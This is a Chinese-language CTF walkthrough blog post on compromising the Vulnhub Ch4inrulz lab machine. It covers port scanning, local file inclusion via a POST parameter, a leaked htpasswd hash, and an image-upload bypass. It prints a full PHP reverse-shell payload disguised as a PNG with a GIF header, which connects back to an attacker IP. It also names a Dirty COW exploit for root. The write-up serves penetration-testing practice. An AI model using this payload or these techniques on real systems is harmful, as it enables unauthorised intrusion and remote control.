Vulnhub Ch4inrulz Walkthrough


Vulnhub Ch4inrulz Walkthrough

前言

哈哈哈,没想到吧,又是我,我又来了。昨天肝了一个靶机之后感觉良好,就趁着兴致再来一发(次),这次的靶机今天早上六点半起床了,睡不着了玩了会儿手机,推送的。好家伙,我寻思着我已经被监听的这么严重的了吗?但是不管怎么说,这正是我需要的不是吗。下面来看一下靶机作者的话:

Description

Frank has a small website and he is a smart developer with a normal security background , he always love to follow patterns , your goal is to discover any critical vulnerabilities and gain access to the system , then you need to gain root access in order to capture the root flag.

This machine was made for Jordan’s Top hacker 2018 CTF , we tried to make it simulate a real world attacks in order to improve your penetration testing skills.

The machine was tested on vmware (player / workstation) and works without any problems , so we recommend to use VMware to run it , Also works fine using virtualbox.

Difficulty: Intermediate , you need to think out of the box and collect all the puzzle pieces in order to get the job done.

The machine is already got DHCP enabled , so you will not have any problems with networking.

Happy Hacking !

既然作者说已经测试好了没什么问题,我们就相信他,下面我们开始干,还是老样子,怎么部署靶机自己去搜,这里不教。

下面是今天的步骤,可供参考:

  1. 主机发现与端口扫描
  2. 测试端口80
  3. 测试端口8011
  4. 发现本地文件包含
  5. 发现HTML备份文件
  6. 破解密码hash值
  7. 登陆到development
  8. 上传图片木马
  9. 反弹shell
  10. 提权并夺旗

渗透过程

主机发现与端口扫描

好吧,这上面的好像是一句没什么用处的话,基本上所有的靶机操作都是有这一步的,但是不管怎么说,让我们扫他!

netdiscover

我们首先扫描一下当前局域网网段下有多少主机,然后排除掉我们自己的主机,然后剩下的就是目标主机了。

nmap

然后我们再使用我们的nmap扫描一下看其开放了什么端口,分别对应着哪些服务

主机发现与端口扫描到此结束,我们来总结一下。

主机IP 开放端口 对应服务 系统版本
192.168.17.149 21/22/80/8011 ftp/ssh/http/http Debian

测试80端口

一般来说我们是先看一下主页上有没有什么有价值的信息,或者是点开源代码看一下是不是注释里面有什么有价值的信息,很可惜,我看了半天都没找到什么有价值的信息,所有我准备先试用工具扫描一遍网站是否有敏感目录,存在的话,我们在准备下一步的事情。

dirb

还是找出来一下敏感的目录的,那就让我们进去看一眼,是否存在有价值的信息(经常性的看一下网页源代码是一个好习惯,会有意想不到的收获,这个习惯希望你也有!)

192.168.17.149/development 192.168.17.149/robots.txt

尝试爆破虽无不可,但是不是明智之举,太费时费力,我相信一定是有更加间接的方法的,经过了上面的信息收集,这个感觉和上次做的Cherry靶场很相似,都是开放了两个http服务,这绝对一个突破点,下面我就试一下另一个端口。

测试8011

和上面的操作是一样的,都是先试用工具扫描一遍看看是不是有敏感的目录,按照我的经验来说这次肯定是有的,当然没有的话我们还有别的办法,那我们扫一遍再说。

dirb

果不其然,这里是存在敏感目录 ,这个目录的名称一看就是那种后台的配置页面,我们进去看看。

192.168.17.149:8011 192.168.17.149/api

按照目录提示的说法,是有这四个文件,但是仍在开发中,那反正就是四个,我们都挨着试试吧。看看这四个文件是否有什么可以值得利用的信息。经过测试只有第三个是存在的,其他的都没有。

web_api.php records_api.php files_api.php database_api.php

发现本地文件包含

No parameter called file passed to me

* Note : this API don’t use json , so send the file name in raw format

这不就是文件包含吗?哈哈哈哈,终于好起来了,一瞬间就开心起来了!来来来,让我简单的测试一下,看看能包含什么文件。

啊这,根据回显显示的信息,你这是直接屏蔽了 _GET['file'] ,那没关系,我来一手 _POST['file'] ,使用 HackBar 试一下。

哎。。。看来还是我太年轻了,尝试了一下之前用的那个使用系统日志进行木马注入的方法,发现是不行的,已经被屏蔽了。我们现在使用文件包含只能看一下无关紧要的文件。

发现HTML备份文件

这个时候有些不知道怎么办了,文件包含不了,差点思路就断了,但是又想起了,前段时间用的那个 nikto 还没试过呢,死马当活马医,去试试吧!这次就不扫8011了,感觉这就是个开发页面,应该是不会有什么除了文件包含之类的东西了,当然话不能说的这么绝对,反正如果不行的话回来再继续扫他。

nikto

这个备份文件可是一个好东西,就像是之前做的靶场里面的数据库文件备份文件一样,说不定里面就有网站开发者留下的密码什么的文件,好了我们使用浏览器下下来看看吧,要是有的话,那可真是山重水复疑无路,柳暗花明又一村啊。天不亡我!

<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>

破解密码hash值

上面的备份文件已经收的很明白了, development 的账号密码已经如此接近了,这个 hash 使用 john 破一下看看行不行。

登陆到development

登陆 192.168.17.149/development 192.168.17.149/development/uploader

上传图片木马

经过实际的测试,这个网站仅仅支持上传图片格式,所以我们上传PHP格式文件的目的破灭了,所以我们只能创一个进行制作的图片木马上去,欺骗检查器以为我们是个图片。将下列的代码保存为 shell.png 然后上传到服务器上。

GIF98
<?php

$ip = '192.168.17.144';
$port = '2333';
$sock = fsockopen($ip, $port);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);

?>

反弹shell

执行刚刚那个图片木马。在这之前记得在kali使用 nc 设置一下监听 2333

但是这个时候问题又来了,文件上传到哪里去了?我不知道啊,所以我们还得继续尝试,这里就不得不说一下php这门语言了,简直了,什么妖魔鬼怪都有啊。至于为什么下面就会看见了,我们先试一下之前那个文件包含,看看这个 upload.php 文件的内容,看看里面写什么了。

是吧,直接看肯定是不行的,那么使用伪协议就可以了,这其实就是后端检查不完善造成的,我们成功绕过了文件格式的检查并且获得了 base64 加密了的php文件的源码,然我们去解密一下。

PD9waHAKJHRhcmdldF9kaXIgPSAiRlJBTkt1cGxvYWRzLyI7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gYmFzZW5hbWUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSk7CiR1cGxvYWRPayA9IDE7CiRpbWFnZUZpbGVUeXBlID0gc3RydG9sb3dlcihwYXRoaW5mbygkdGFyZ2V0X2ZpbGUsUEFUSElORk9fRVhURU5TSU9OKSk7Ci8vIENoZWNrIGlmIGltYWdlIGZpbGUgaXMgYSBhY3R1YWwgaW1hZ2Ugb3IgZmFrZSBpbWFnZQppZihpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgewogICAgJGNoZWNrID0gZ2V0aW1hZ2VzaXplKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJ0bXBfbmFtZSJdKTsKICAgIGlmKCRjaGVjayAhPT0gZmFsc2UpIHsKICAgICAgICBlY2hvICJGaWxlIGlzIGFuIGltYWdlIC0gIiAuICRjaGVja1sibWltZSJdIC4gIi4iOwogICAgICAgICR1cGxvYWRPayA9IDE7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIkZpbGUgaXMgbm90IGFuIGltYWdlLiI7CiAgICAgICAgJHVwbG9hZE9rID0gMDsKICAgIH0KfQovLyBDaGVjayBpZiBmaWxlIGFscmVhZHkgZXhpc3RzCmlmIChmaWxlX2V4aXN0cygkdGFyZ2V0X2ZpbGUpKSB7CiAgICBlY2hvICJTb3JyeSwgZmlsZSBhbHJlYWR5IGV4aXN0cy4iOwogICAgJHVwbG9hZE9rID0gMDsKfQovLyBDaGVjayBmaWxlIHNpemUKaWYgKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJzaXplIl0gPiA1MDAwMDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgaXMgdG9vIGxhcmdlLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIEFsbG93IGNlcnRhaW4gZmlsZSBmb3JtYXRzCmlmKCRpbWFnZUZpbGVUeXBlICE9ICJqcGciICYmICRpbWFnZUZpbGVUeXBlICE9ICJwbmciICYmICRpbWFnZUZpbGVUeXBlICE9ICJqcGVnIgomJiAkaW1hZ2VGaWxlVHlwZSAhPSAiZ2lmIiApIHsKICAgIGVjaG8gIlNvcnJ5LCBvbmx5IEpQRywgSlBFRywgUE5HICYgR0lGIGZpbGVzIGFyZSBhbGxvd2VkLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIENoZWNrIGlmICR1cGxvYWRPayBpcyBzZXQgdG8gMCBieSBhbiBlcnJvcgppZiAoJHVwbG9hZE9rID09IDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgd2FzIG5vdCB1cGxvYWRlZC4iOwovLyBpZiBldmVyeXRoaW5nIGlzIG9rLCB0cnkgdG8gdXBsb2FkIGZpbGUKfSBlbHNlIHsKICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgICAgICBlY2hvICJUaGUgZmlsZSAiLiBiYXNlbmFtZSggJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSkuICIgaGFzIGJlZW4gdXBsb2FkZWQgdG8gbXkgdXBsb2FkcyBwYXRoLiI7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIlNvcnJ5LCB0aGVyZSB3YXMgYW4gZXJyb3IgdXBsb2FkaW5nIHlvdXIgZmlsZS4iOwogICAgfQp9Cj8+Cgo= 
<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

看来是已经找到了上传的目录了 FRANKuploads/,那么我们来访问一下http://192.168.17.149/development/uploader/FRANKuploads/

发现直接点击是不行的,还是回到我们的POST发送吧。

提权

使用 uname -a 查看版本的内核是 2.6.35 是存在脏牛漏洞的,经过网上一番查找最终确定了使用 15285.c


文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录